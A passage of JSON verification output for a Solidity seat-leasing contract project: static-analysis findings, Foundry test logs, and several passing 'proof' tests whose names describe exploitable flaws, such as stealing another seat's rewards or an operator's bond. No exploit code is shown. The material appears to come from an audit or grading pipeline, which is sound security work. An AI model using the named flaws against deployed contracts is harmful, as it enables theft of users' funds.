(src/SeatLease.sol#503-515):\n[medium/medium] uninitialized-local at src/SeatLease.sol:824: SeatLease._isValid(bytes32,bytes,address).operatorSignature (src/SeatLease.sol#824) is a local variable never initialized\n[medium/medium] uninitialized-local at src/SeatLease.sol:823: SeatLease._isValid(bytes32,bytes,address).auth (src/SeatLease.sol#823) is a local variable never initialized\n[medium/medium] unused-return at src/SeatLease.sol:822: SeatLease._isValid(bytes32,bytes,address) (src/SeatLease.sol#822-840) ignores return value by (recovered,err,None) = ECDSA.tryRecover(hash,operatorSignature) (src/SeatLease.sol#837)\n[low/medium] missing-zero-check at src/SeatHolder.sol:47: SeatHolder.execute(address,bytes).target (src/SeatHolder.sol#47) lacks a zero-check on :\n[low/medium] calls-loop at src/SeatLease.sol:773: SeatLease._balanceOf(address,address) (src/SeatLease.sol#773-775) has external calls inside a loop: IERC20(token).balanceOf(account) (src/SeatLease.sol#774)\n[low/medium] calls-loop at src/SeatLease.sol:738: SeatLease._collect(uint256,SeatHolder,address) (src/SeatLease.sol#738-755) has external calls inside a loop: holder.release(token,amount) (src/SeatLease.sol#751)\n[low/medium] calls-loop at src/SeatLease.sol:738: SeatLease._collect(uint256,SeatHolder,address) (src/SeatLease.sol#738-755) has external calls inside a loop: holder.release(token,amount) (src/SeatLease.sol#747)\n[low/medium] reentrancy-benign at src/SeatLease.sol:457: Reentrancy in SeatLease.claim(uint256,address,bytes,address[]) (src/SeatLease.sol#457-487):\n[low/medium] reentrancy-benign at src/SeatLease.sol:457: Reentrancy in SeatLease.claim(uint256,address,bytes,address[]) (src/SeatLease.sol#457-487):\n[low/medium] reentrancy-benign at src/SeatLease.sol:738: Reentrancy in SeatLease._collect(uint256,SeatHolder,address) (src/SeatLease.sol#738-755):\n[low/medium] reentrancy-benign at src/SeatLease.sol:738: Reentrancy in SeatLease._collect(uint256,SeatHolder,address) (src/SeatLease.sol#738-755):\n[low/medium] reentrancy-benign at src/SeatLease.sol:267: Reentrancy in SeatLease.deposit(uint256,uint16,SeatLease.Mode,address,uint256,address,bytes32,string) (src/SeatLease.sol#267-301):\n[low/medium] reentrancy-events at src/mocks/MockDistributor.sol:32: Reentrancy in MockDistributor.claim() (src/mocks/MockDistributor.sol#32-43):\n[low/medium] timestamp at src/SeatLease.sol:267: SeatLease.deposit(uint256,uint16,SeatLease.Mode,address,uint256,address,bytes32,string) (src/SeatLease.sol#267-301) uses timestamp for comparisons\n[low/medium] timestamp at src/SeatLease.sol:374: SeatLease.cutByOracle(uint256,SeatLease.OracleAttestation,bytes) (src/SeatLease.sol#374-405) uses timestamp for comparisons\n[low/medium] timestamp at src/SeatLease.sol:326: SeatLease.take(uint256) (src/SeatLease.sol#326-348) uses timestamp for comparisons\n[low/medium] timestamp at src/SeatLease.sol:822: SeatLease._isValid(bytes32,bytes,address) (src/SeatLease.sol#822-840) uses timestamp for comparisons","passed":true},{"durationMs":674,"exitCode":0,"name":"aderyn","output":"[high] contract-locks-ether at src/SeatLease.sol:22: Contract locks Ether without a withdraw function\n[high] eth-send-unchecked-address at src/mocks/MockDistributor.sol:32: ETH transferred without address checks\n[high] reentrancy-state-change at src/SeatLease.sol:279: Reentrancy: State change after external call (4 places)\n[low] costly-loop at src/SeatLease.sol:480: Costly operations inside loop\n[low] large-numeric-literal at src/SeatLease.sol:88: Large Numeric Literal (2 places)\n[low] literal-instead-of-constant at src/SeatLease.sol:389: Literal Instead of Constant (3 places)\n[low] push-zero-opcode at src/LaunchToken.sol:2: PUSH0 Opcode (6 places)\n[low] require-revert-in-loop at src/SeatLease.sol:470: Loop Contains `require`/`revert` (2 places)\n[low] state-change-without-event at src/mocks/MockDistributor.sol:26: State Change Without Event\n[low] state-variable-could-be-immutable at src/SeatLease.sol:125: State Variable Could Be Immutable (2 places)\n[low] unchecked-return at src/SeatLease.sol:461: Unchecked Return (3 places)\n[low] uninitialized-local-variable at src/SeatLease.sol:779: Uninitialized Local Variable\n[low] unsafe-erc20-operation at src/SeatLease.sol:818: Unsafe ERC20 Operation\n[low] unsafe-oz-erc721-mint at src/mocks/MockSeatNFT.sol:11: Unsafe `ERC721::_mint()`\n[low] unspecific-solidity-pragma at src/LaunchToken.sol:2: Unspecific Solidity Pragma (6 places)","passed":true},{"durationMs":2170,"exitCode":0,"name":"proof abc1a9f18d02","output":"Compiling 59 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.63s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-77572e5d/Proof_abc1a9f18d02.t.sol:CrossSeatClaimTest\n[PASS] test_claimBooksOtherSeatsRewardsToCaller() (gas: 86971)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.18ms (102.62µs CPU time)\n\nRan 1 test suite in 2.87ms (1.18ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":1790,"exitCode":0,"name":"proof 3b42aa8ade81","output":"2026-09-29T01:04:31.050188Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-F7rQgl/repo/test/imd-proof-77572e5d/Proof_abc1a9f18d02.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.20s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-6c356db2/Proof_3b42aa8ade81.t.sol:TakeTermsFrontRunProof\n[PASS] test_takeIsNotBoundToInspectedTerms_bondIsStolen() (gas: 1066467)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.03ms (241.07µs CPU time)\n\nRan 1 test suite in 2.53ms (1.03ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":1616,"exitCode":0,"name":"proof bf40f4fdc72f","output":"2026-09-29T01:04:32.810167Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-F7rQgl/repo/test/imd-proof-6c356db2/Proof_3b42aa8ade81.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.07s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-97654f65/Proof_bf40f4fdc72f.t.sol:TakeSweepExtractionProof\n[PASS] test_takerSweepsRewardsBookedBeforeItTookTheSeat() (gas: 1247206)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.15ms (280.37µs CPU time)\n\nRan 1 test suite in 3.26ms (1.15ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":1980,"exitCode":0,"name":"proof ecb32761e8a3","output":"2026-09-29T01:04:34.471355Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-F7rQgl/repo/test/imd-proof-97654f65/Proof_bf40f4fdc72f.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.38s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-dce17fc8/Proof_ecb32761e8a3.t.sol:StaleAttestationCutProof\n[PASS] test_attestationIssuedBeforeCurrentTenureForfeitsInnocentOperatorsBond() (gas: 577274)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.74ms (501.96µs CPU time)\n\nRan 1 test suite in 4.49ms (1.74ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"114199a13f57a25318eb4e16bbf03c575cfb342806883ea8a6557ad29bc98cd9","verifiedTreeHash":"be3ff5f469660c7e062e185130ee33176ef415a3","verifierVersion":"0.1.0+042c10fc"},{"checks":[{"durationMs":3599,"exitCode":0,"name":"build","output":"Compiling 66 files with Solc 0.8.26\nSolc 0.8.26 finished in 3.47s\nCompiler run successful!\n","passed":true},{"durationMs":816,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 3 tests for test/LaunchToken.t.sol:LaunchTokenTest\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 70237)\n[PASS] test_noMintFunction() (gas: 35726)\n[PASS] test_transferMovesExactAmount() (gas: 84880)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 1.06ms (475.38µs CPU time)\n\nRan 56 tests for test/SeatLease.lifecycle.t.sol:SeatLeaseLifecycleTest\n[PASS] testFuzz_bondRoundTrip(uint256) (runs: 256, μ: 578403, ~: 578069)\nLogs:\n  Bound result 27\n\n[PASS] testFuzz_onlyOperatorCanQuit(address) (runs: 256, μ: 480240, ~: 480240)\n[PASS] testFuzz_onlyOwnerCanAdminister(address) (runs: 256, μ: 423925, ~: 423925)\n[PASS] testFuzz_termsValidation(uint16,uint16) (runs: 256, μ: 204710, ~: 241908)\nLogs:\n  Bound result 61\n\n[PASS] test_constructor_recordsParameters() (gas: 56806)\n[PASS] test_constructor_rejectsZeroAddresses() (gas: 6598)\n[PASS] test_cut_escrowsBondWhenTransferReverts() (gas: 1486443)\n[PASS] test_cut_returnsBondToOperator() (gas: 590397)\n[PASS] test_cut_revertsForNonOwner() (gas: 479923)\n[PASS] test_cut_revertsWhenNotDeposited() (gas: 39846)\n[PASS] test_cut_revertsWhenVacant() (gas: 333652)\n[PASS] test_deposit_acceptsMaxListing() (gas: 367968)\n[PASS] test_deposit_recordsOwnerTermsAndHoldsNft() (gas: 352822)\n[PASS] test_deposit_rejectsHookForDifferentTokenId() (gas: 808461)\n[PASS] test_deposit_rejectsHookFromStrangerDuringDeposit() (gas: 817864)\n[PASS] test_deposit_revertsOnBadBps() (gas: 126061)\n[PASS] test_deposit_revertsOnLongListing() (gas: 127674)\n[PASS] test_deposit_revertsWhenAlreadyDeposited() (gas: 334232)\n[PASS] test_deposit_revertsWhenCallerDoesNotOwnNft() (gas: 50416)\n[PASS] test_deposit_revertsWhenNftDidNotArrive() (gas: 806580)\n[PASS] test_deposit_revertsWithoutApproval() (gas: 231941)\n[PASS] test_deposit_worksWithMinimalNft() (gas: 785306)\n[PASS] test_onERC721Received_rejectsDirectCall() (gas: 14026)\n[PASS] test_onERC721Received_rejectsDirectTransferOfSeatNft() (gas: 88219)\n[PASS] test_onERC721Received_rejectsOtherCollections() (gas: 145028)\n[PASS] test_quit_acceptsTransferReturningNothing() (gas: 1303941)\n[PASS] test_quit_escrowsBondWhenTransferReturnsFalse() (gas: 1303018)\n[PASS] test_quit_escrowsBondWhenTransferReturnsShortData() (gas: 1317091)\n[PASS] test_quit_permissionedReturnsNothing() (gas: 400152)\n[PASS] test_quit_returnsBondAndClearsOperator() (gas: 561079)\n[PASS] test_quit_revertsForNonOperator() (gas: 512600)\n[PASS] test_quit_revertsWhenVacantOrUnknown() (gas: 364343)\n[PASS] test_receive_revertsOnPlainEth() (gas: 41749)\n[PASS] test_redeemBond_revertsWhenNothingOwed() (gas: 39654)\n[PASS] test_redeposit_afterWithdrawStartsClean() (gas: 725215)\n[PASS] test_seatCanBeRetakenAfterQuit() (gas: 676698)\n[PASS] test_setTerms_revertsForNonOwner() (gas: 330639)\n[PASS] test_setTerms_revertsOnBadBpsAndListing() (gas: 362082)\n[PASS] test_setTerms_revertsWhenNotDeposited() (gas: 36775)\n[PASS] test_setTerms_revertsWhenOccupied() (gas: 478853)\n[PASS] test_setTerms_updatesVacantSeat() (gas: 406479)\n[PASS] test_take_isReentrancyGuarded() (gas: 1164569)\n[PASS] test_take_open_anyoneMayTake() (gas: 475199)\n[PASS] test_take_open_feeOnTransferBondRecordsActualAmount() (gas: 1203134)\n[PASS] test_take_open_pullsBondAndSetsOperator() (gas: 518003)\n[PASS] test_take_open_revertsWithoutAllowance() (gas: 346776)\n[PASS] test_take_open_zeroBondPullsNothing() (gas: 388789)\n[PASS] test_take_permissioned_ignoresBondAmount() (gas: 385694)\n[PASS] test_take_permissioned_onlyAllowedOperator() (gas: 448554)\n[PASS] test_take_revertsWhenNotDeposited() (gas: 39768)\n[PASS] test_take_revertsWhenOccupied() (gas: 531112)\n[PASS] test_withdraw_afterQuitAndCut() (gas: 588914)\n[PASS] test_withdraw_returnsNftAndClearsSeat() (gas: 425687)\n[PASS] test_withdraw_revertsForNonOwner() (gas: 333650)\n[PASS] test_withdraw_revertsWhenNotDeposited() (gas: 39789)\n[PASS] test_withdraw_revertsWhenOccupied() (gas: 490059)\nSuite result: ok. 56 passed; 0 failed; 0 skipped; finished in 34.05ms (112.84ms CPU time)\n\nRan 5 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deploy_mixedMocks() (gas: 3770588)\n[PASS] test_deploy_refusesMocksOnMainnet() (gas: 34870)\n[PASS] test_deploy_requiresAddressesWithoutMocks() (gas: 62789)\n[PASS] test_deploy_withExistingAddresses() (gas: 3342477)\n[PASS] test_deploy_withMocks() (gas: 4660315)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 35.89ms (2.24ms CPU time)\n\nRan 32 tests for test/SeatLease.signatures.t.sol:SeatLeaseSignaturesTest\n[PASS] testFuzz_cutByOracle_onlyOracleKeyPasses(uint256) (runs: 256, μ: 76763, ~: 76750)\nLogs:\n  Bound result 11440\n\n[PASS] testFuzz_isValidSignature_arbitraryBytesNeverPass(bytes,bytes32) (runs: 256, μ: 13218, ~: 13215)\n[PASS] testFuzz_isValidSignature_onlyOperatorKeyPasses(uint256) (runs: 256, μ: 39439, ~: 39423)\nLogs:\n  Bound result 11440\n\n[PASS] test_cutByOracle_attestationForAnotherRegistryIsRejected() (gas: 117461)\n[PASS] test_cutByOracle_forfeitsBondToOwner() (gas: 210303)\n[PASS] test_cutByOracle_permissionedSeatForfeitsNothing() (gas: 269320)\n[PASS] test_cutByOracle_rejectsExpired() (gas: 190509)\n[PASS] test_cutByOracle_rejectsFalseAnswer() (gas: 61316)\n[PASS] test_cutByOracle_rejectsMalformedSignature() (gas: 61469)\n[PASS] test_cutByOracle_rejectsNonBoolType() (gas: 56036)\n[PASS] test_cutByOracle_rejectsOddAnswerEncodings() (gas: 173672)\n[PASS] test_cutByOracle_rejectsSeatWithoutOracle() (gas: 295918)\n[PASS] test_cutByOracle_rejectsTamperedAttestation() (gas: 70378)\n[PASS] test_cutByOracle_rejectsVacantAndUndeposited() (gas: 142717)\n[PASS] test_cutByOracle_rejectsWrongChainId() (gas: 59459)\n[PASS] test_cutByOracle_rejectsWrongQuestion() (gas: 61246)\n[PASS] test_cutByOracle_rejectsWrongSigner() (gas: 131004)\n[PASS] test_cutByOracle_replayIsRejected() (gas: 425466)\n[PASS] test_decodeAuthorization_roundTrips() (gas: 19336)\n[PASS] test_isValidSignature_acceptsOperatorSignedAuthorization() (gas: 46539)\n[PASS] test_isValidSignature_domainMatchesNetworkParameters() (gas: 11217)\n[PASS] test_isValidSignature_rejectsAfterCut() (gas: 81039)\n[PASS] test_isValidSignature_rejectsBadOperatorSignatures() (gas: 88258)\n[PASS] test_isValidSignature_rejectsCrossSeatReplayOfBlob() (gas: 31915)\n[PASS] test_isValidSignature_rejectsDigestMismatch() (gas: 51224)\n[PASS] test_isValidSignature_rejectsExpired() (gas: 54014)\n[PASS] test_isValidSignature_rejectsMalformedBytes() (gas: 147507)\n[PASS] test_isValidSignature_rejectsNonOperatorSigner() (gas: 59018)\n[PASS] test_isValidSignature_rejectsOtherChain() (gas: 30347)\n[PASS] test_isValidSignature_rejectsVacantSeat() (gas: 106123)\n[PASS] test_isValidSignature_rejectsWrongTokenId() (gas: 370268)\n[PASS] test_isValidSignature_rejectsWrongWallet() (gas: 31007)\nSuite result: ok. 32 passed; 0 failed; 0 skipped; finished in 35.98ms (99.80ms CPU time)\n\nRan 41 tests for test/SeatLease.rewards.t.sol:SeatLeaseRewardsTest\n[PASS] testFuzz_anyoneCanCreditAndSweep(address,uint256) (runs: 256, μ: 769959, ~: 770420)\nLogs:\n  Bound result 1\n\n[PASS] testFuzz_sweepEthSplit(uint16,uint96) (runs: 256, μ: 591653, ~: 592839)\nLogs:\n  Bound result 4773\n\n[PASS] testFuzz_sweepSplit(uint16,uint256) (runs: 256, μ: 723127, ~: 724583)\nLogs:\n  Bound result 53\n  Bound result 7159129176146004474543\n\n[PASS] test_claim_booksEthAndTokenWhenBothListed() (gas: 579648)\n[PASS] test_claim_booksEthEvenWhenNotListed() (gas: 471431)\n[PASS] test_claim_booksTokenIncrease() (gas: 748013)\n[PASS] test_claim_cannotDrainBookedEthByTargetingZeroAddress() (gas: 420653)\n[PASS] test_claim_ethFromPlainPayerIsBooked() (gas: 573282)\n[PASS] test_claim_forbidsNftBondSelfAndBookedTokens() (gas: 609586)\n[PASS] test_claim_reentrancyIntoSweepClaimAndCutIsBlocked() (gas: 1581707)\n[PASS] test_claim_reentrantWithdrawIsBlocked() (gas: 770353)\n[PASS] test_claim_revertsForNonOwner() (gas: 483878)\n[PASS] test_claim_revertsWhenListedBalanceDecreases() (gas: 1153402)\n[PASS] test_claim_revertsWhenNftLeaves() (gas: 956364)\n[PASS] test_claim_revertsWhenNotDeposited() (gas: 43724)\n[PASS] test_claim_revertsWhenTargetReverts() (gas: 364080)\n[PASS] test_claim_zeroGainBooksNothing() (gas: 388750)\n[PASS] test_credit_erc20BooksToSeat() (gas: 504155)\n[PASS] test_credit_ethBooksToSeat() (gas: 410662)\n[PASS] test_credit_feeOnTransferBooksReceivedAmount() (gas: 1140243)\n[PASS] test_credit_isReentrancyGuardedViaClaim() (gas: 813761)\n[PASS] test_credit_revertsOnEthValueMismatch() (gas: 340637)\n[PASS] test_credit_revertsOnEthWithErc20() (gas: 342912)\n[PASS] test_credit_revertsOnZeroAmount() (gas: 335773)\n[PASS] test_credit_revertsWhenNotDeposited() (gas: 46995)\n[PASS] test_credit_revertsWhenNothingArrives() (gas: 821700)\n[PASS] test_credit_revertsWithoutAllowance() (gas: 345151)\n[PASS] test_mockDistributor_fundingAndFailedPayout() (gas: 218348)\n[PASS] test_sweep_allToOperatorAt0() (gas: 780068)\n[PASS] test_sweep_allToOwnerAt10000() (gas: 766402)\n[PASS] test_sweep_allToOwnerWhenVacant() (gas: 662428)\n[PASS] test_sweep_bondTokenAsRewardDoesNotTouchBond() (gas: 765361)\n[PASS] test_sweep_erc20SplitsAt5000() (gas: 829325)\n[PASS] test_sweep_ethSplitsAt5000() (gas: 759046)\n[PASS] test_sweep_isReentrancyGuarded() (gas: 842991)\n[PASS] test_sweep_revertsWhenNotDeposited() (gas: 39912)\n[PASS] test_sweep_revertsWhenNothingBooked() (gas: 335333)\n[PASS] test_sweep_revertsWhenOperatorRejectsEth() (gas: 834714)\n[PASS] test_sweep_revertsWhenOwnerRejectsEth() (gas: 556683)\n[PASS] test_sweep_roundsDustToOperator() (gas: 704123)\n[PASS] test_sweep_unsweptBalanceGoesToOwnerAfterCut() (gas: 812971)\nSuite result: ok. 41 passed; 0 failed; 0 skipped; finished in 36.07ms (96.70ms CPU time)\n\nRan 1 test for test/SeatLease.invariants.t.sol:SeatLeaseInvariantTest\n[PASS]\nSeatLeaseInvariantTest invariants:\n[PASS] invariant_bondOnlyWhileOccupied\n[PASS] invariant_nftHeldIffDeposited\n[PASS] invariant_solvent\n[PASS] invariant_sweptNeverExceedsCredited\n SeatLeaseInvariantTest invariants (runs: 64, calls: 2048, reverts: 0)\n\n╭----------+----------+-------+---------+----------╮\n| Contract | Selector | Calls | Reverts | Discards |\n+==================================================+\n| Handler  | claim    | 256   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | credit   | 246   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | cut      | 245   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | deposit  | 275   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | quit     | 265   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | sweep    | 264   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | take     | 261   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | withdraw | 236   | 0       | 0        |\n╰----------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 100\n  Bound result 32\n  Bound result 0\n  Bound result 112040069239005423876\n  Bound result 6\n  Bound result 50\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 691.47ms (679.78ms CPU time)\n\nRan 6 test suites in 692.97ms (834.52ms CPU time): 138 tests passed, 0 failed, 0 skipped (138 total tests)\n","passed":true},{"durationMs":65,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"LaunchToken.approve(address,uint256)\",\"LaunchToken.transfer(address,uint256)\",\"LaunchToken.transferFrom(address,address,uint256)\",\"SeatLease.claim(uint256,address,bytes,address[])\",\"SeatLease.credit(uint256,address,uint256)\",\"SeatLease.cut(uint256)\",\"SeatLease.cutByOracle(uint256,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint64,uint64),bytes)\",\"SeatLease.deposit(uint256,uint16,uint8,address,uint256,address,bytes32,string)\",\"SeatLease.quit(uint256)\",\"SeatLease.receive()\",\"SeatLease.redeemBond()\",\"SeatLease.setTerms(uint256,uint16,uint8,address,uint256,address,bytes32,string)\",\"SeatLease.sweep(uint256,address)\",\"SeatLease.take(uint256)\",\"SeatLease.withdraw(uint256)\"],\"files\":{\".gas-snapshot\":141,\"foundry.toml\":48,\"remappings.txt\":2,\"script/Deploy.s.sol\":69,\"src/LaunchToken.sol\":17,\"src/SeatLease.sol\":649,\"src/mocks/MockDistributor.sol\":44,\"src/mocks/MockERC20.sol\":13,\"src/mocks/MockSeatNFT.sol\":13,\"test/Deploy.t.sol\":101,\"test/LaunchToken.t.sol\":35,\"test/SeatLease.invariants.t.sol\":235,\"test/SeatLease.lifecycle.t.sol\":633,\"test/SeatLease.rewards.t.sol\":539,\"test/SeatLease.signatures.t.sol\":382,\"test/utils/Actors.sol\":230,\"test/utils/Base.sol\":191},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":3048,"exitCode":0,"name":"slither","output":"[medium/high] incorrect-equality at src/SeatLease.sol:358: SeatLease.credit(uint256,address,uint256) (src/SeatLease.sol#358-374) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/SeatLease.sol:381: Reentrancy in SeatLease.claim(uint256,address,bytes,address[]) (src/SeatLease.sol#381-413):\n[medium/medium] uninitialized-local at src/SeatLease.sol:457: SeatLease.isValidSignature(bytes32,bytes).operatorSignature (src/SeatLease.sol#457) is a local variable never initialized\n[medium/medium] uninitialized-local at src/SeatLease.sol:456: SeatLease.isValidSignature(bytes32,bytes).auth (src/SeatLease.sol#456) is a local variable never initialized\n[medium/medium] unused-return at src/SeatLease.sol:455: SeatLease.isValidSignature(bytes32,bytes) (src/SeatLease.sol#455-472) ignores return value by (recovered,err,None) = ECDSA.tryRecover(hash,operatorSignature) (src/SeatLease.sol#469)\n[low/medium] calls-loop at src/SeatLease.sol:621: SeatLease._balanceOf(address) (src/SeatLease.sol#621-623) has external calls inside a loop: IERC20(token).balanceOf(address(this)) (src/SeatLease.sol#622)\n[low/medium] reentrancy-benign at src/SeatLease.sol:381: Reentrancy in SeatLease.claim(uint256,address,bytes,address[]) (src/SeatLease.sol#381-413):\n[low/medium] reentrancy-benign at src/SeatLease.sol:627: Reentrancy in SeatLease._payBond(address,uint256) (src/SeatLease.sol#627-638):\n[low/medium] reentrancy-benign at src/SeatLease.sol:233: Reentrancy in SeatLease.deposit(uint256,uint16,SeatLease.Mode,address,uint256,address,bytes32,string) (src/SeatLease.sol#233-256):\n[low/medium] reentrancy-events at src/mocks/MockDistributor.sol:32: Reentrancy in MockDistributor.claim() (src/mocks/MockDistributor.sol#32-43):\n[low/medium] timestamp at src/SeatLease.sol:455: SeatLease.isValidSignature(bytes32,bytes) (src/SeatLease.sol#455-472) uses timestamp for comparisons\n[low/medium] timestamp at src/SeatLease.sol:315: SeatLease.cutByOracle(uint256,SeatLease.OracleAttestation,bytes) (src/SeatLease.sol#315-342) uses timestamp for comparisons","passed":true},{"durationMs":602,"exitCode":0,"name":"aderyn","output":"[high] eth-send-unchecked-address at src/mocks/MockDistributor.sol:32: ETH transferred without address checks\n[high] reentrancy-state-change at src/SeatLease.sol:245: Reentrancy: State change after external call (5 places)\n[low] costly-loop at src/SeatLease.sol:404: Costly operations inside loop\n[low] large-numeric-literal at src/SeatLease.sol:81: Large Numeric Literal\n[low] literal-instead-of-constant at src/SeatLease.sol:330: Literal Instead of Constant (2 places)\n[low] push-zero-opcode at src/LaunchToken.sol:2: PUSH0 Opcode (5 places)\n[low] require-revert-in-loop at src/SeatLease.sol:404: Loop Contains `require`/`revert`\n[low] state-change-without-event at src/mocks/MockDistributor.sol:26: State Change Without Event\n[low] state-variable-could-be-immutable at src/SeatLease.sol:111: State Variable Could Be Immutable (2 places)\n[low] unchecked-return at src/SeatLease.sol:385: Unchecked Return\n[low] unsafe-erc20-operation at src/SeatLease.sol:629: Unsafe ERC20 Operation\n[low] unsafe-oz-erc721-mint at src/mocks/MockSeatNFT.sol:11: Unsafe `ERC721::_mint()`\n[low] unspecific-solidity-pragma at src/LaunchToken.sol:2: Unspecific Solidity Pragma (5 places)","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"1403927c0ed02055b709ecfb0d822a8f96ffcf56c5e606b74fc1dd31c1069bce","verifiedTreeHash":"da1ab99ecac6444bf3a6ff3ab270d57875c0e50d","verifierVersion":"0.1.0+042c10fc"},{"checks":[{"durationMs":6645,"exitCode":0,"name":"build","output":"Compiling 69 files with Solc 0.8.26\nSolc 0.8.26 finished in 6.47s\nCompiler run successful!\n","passed":true},{"durationMs":14540,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 5 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deploy_mixedMocks() (gas: 5340704)\n[PASS] test_deploy_refusesMocksOnMainnet() (gas: 34870)\n[PASS] test_deploy_requiresAddressesWithoutMocks() (gas: 62789)\n[PASS] test_deploy_withExistingAddresses() (gas: 4912615)\n[PASS] test_deploy_withMocks() (gas: 6230541)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 956.16µs (1.10ms CPU time)\n\nRan 3 tests for test/LaunchToken.t.sol:LaunchTokenTest\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 70237)\n[PASS] test_noMintFunction() (gas: 35726)\n[PASS] test_transferMovesExactAmount() (gas: 84880)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 14.89ms (377.12µs CPU time)\n\nRan 18 tests for test/SeatLease.revision3.t.sol:SeatLeaseRevision3Test\n[PASS] testFuzz_exitSettlesUnderOutgoingSplit(uint16,uint96,uint8) (runs: 256, μ: 1858121, ~: 1846090)\nLogs:\n  Bound result 11\n  Bound result 14264337593543950335\n  Bound result 0\n\n[PASS] testFuzz_takeSkimSweepQuitCannotTakeVacantRewards(uint16,uint96,bool) (runs: 256, μ: 1611406, ~: 1577390)\nLogs:\n  Bound result 62\n  Bound result 6555357751788412\n\n[PASS] test_claimAndSkimWarmupBoundaryAndRetakeResetsIt() (gas: 2268458)\n[PASS] test_creditStillSharesImmediatelyDuringWarmup() (gas: 1096877)\n[PASS] test_failedOracleSettlementDoesNotConsumeRequestOrForfeitBond() (gas: 3003911)\n[PASS] test_instantQuitAndRetakeRejectsOldAttestation_documented() (gas: 1422502)\n[PASS] test_permissionedCutThenSkimOrClaimCannotReassignHolderRewards() (gas: 1648099)\n[PASS] test_plainTransferToHolderLocksSeat_documented() (gas: 1137959)\n[PASS] test_setRewardTokensEventViewAndActivation() (gas: 1270804)\n[PASS] test_setRewardTokensRejectsUnauthorizedMissingTooManyDuplicatesAndInvalidTokens() (gas: 1352337)\n[PASS] test_settlementCannotReenterTermsChangeDuringTake() (gas: 2566259)\n[PASS] test_settlementMeasuresFeeTokenReceipts() (gas: 2094283)\n[PASS] test_sweepForPaysHeavyReceiverAfterBoundedSweepRetainsShare() (gas: 1686927)\n[PASS] test_sweepForWithFullGasRemainsReentrancyGuarded() (gas: 1430337)\n[PASS] test_takeSettlesVacantBalancesEvenIfOperatorWaitsToSkim() (gas: 1577190)\n[PASS] test_untransferableDeclaredTokenRevertsSettlementAtomically_documented() (gas: 2695127)\n[PASS] test_warmupProtectsAccountKeyedClaimsAfterTake() (gas: 1892419)\n[PASS] test_withdrawSettlesVacantRewardsAndClearsListBeforeNewOwner() (gas: 1848741)\nSuite result: ok. 18 passed; 0 failed; 0 skipped; finished in 202.25ms (298.19ms CPU time)\n\nRan 67 tests for test/SeatLease.adversarial.t.sol:SeatLeaseAdversarialTest\n[PASS] testFuzz_claim_booksExactlyWhatArrived(uint96,uint96) (runs: 512, μ: 1274513, ~: 1278713)\nLogs:\n  Bound result 16014695592555118775\n  Bound result 6441130515151226505\n\n[PASS] testFuzz_claim_repeatedListingsBookTheGainOnce(uint8,uint96,uint96) (runs: 512, μ: 1303965, ~: 1303876)\nLogs:\n  Bound result 9\n  Bound result 141174549009731981\n  Bound result 7901833188234957757\n\n[PASS] testFuzz_credit_requiresDepositedSeat(uint256,uint96) (runs: 512, μ: 914712, ~: 914676)\nLogs:\n  Bound result 18966\n\n[PASS] testFuzz_cutByOracle_answerMustBeExactlyTrue(bytes,uint8) (runs: 512, μ: 1107570, ~: 1107331)\n[PASS] testFuzz_cutByOracle_anyCallerMaySubmit(address) (runs: 512, μ: 1221825, ~: 1221825)\n[PASS] testFuzz_cutByOracle_chainAndQuestionMustMatch(uint256,bytes32) (runs: 512, μ: 1124791, ~: 1124822)\n[PASS] testFuzz_cutByOracle_expiryBoundary(uint64,uint64) (runs: 512, μ: 1130723, ~: 1162598)\nLogs:\n  Bound result 1800000000\n\n[PASS] testFuzz_isValidSignature_expiryBoundary(uint64,uint64) (runs: 512, μ: 1069587, ~: 